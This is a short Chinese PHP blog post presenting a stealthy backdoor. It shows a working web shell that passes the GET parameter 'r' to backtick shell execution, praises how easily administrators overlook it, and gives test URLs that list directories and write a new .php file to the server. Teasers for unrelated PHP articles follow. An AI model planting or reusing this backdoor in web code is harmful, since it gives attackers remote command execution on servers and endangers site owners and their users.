一个不易被发现的PHP后门代码解析

yipeiwu_com7年前PHP代码库

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

php版阿里大于(阿里大鱼)短信发送实例详解

php版阿里大于(阿里大鱼)短信发送实例详解

本文实例讲述了php版阿里大于(阿里大鱼)短信发送实现方法。分享给大家供大家参考,具体如下: 通用函数 // 发送大于短信 更牛逼的 protected function sen...

php session劫持和防范的方法

session 数据暴露会话数据常会包含一些个人信息和其它敏感数据。基于这个原因,会话数据的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是保存在服务器环境中的,而不...

Linux php 中文乱码的快速解决方法

在ubuntu下php网页输出乱码,在不涉及数据库编码的情况下: 修改“/etc/php5/apache2/php.ini”将 default_charset = "iso-8859-1...

php字符集转换

PHP通过iconv将字符串从GBK转换为UTF8字符集。 1. iconv()介绍 iconv函数可以将一种已知的字符集文件转换成另一种已知的字符集文件。例如:从GB2312转换为U...

PHP数组无限分级数据的层级化处理代码

复制代码 代码如下:/** * 创建父节点树形数组 * 参数 * $ar 数组,邻接列表方式组织的数据 * $id 数组中作为主键的下标或关联键名...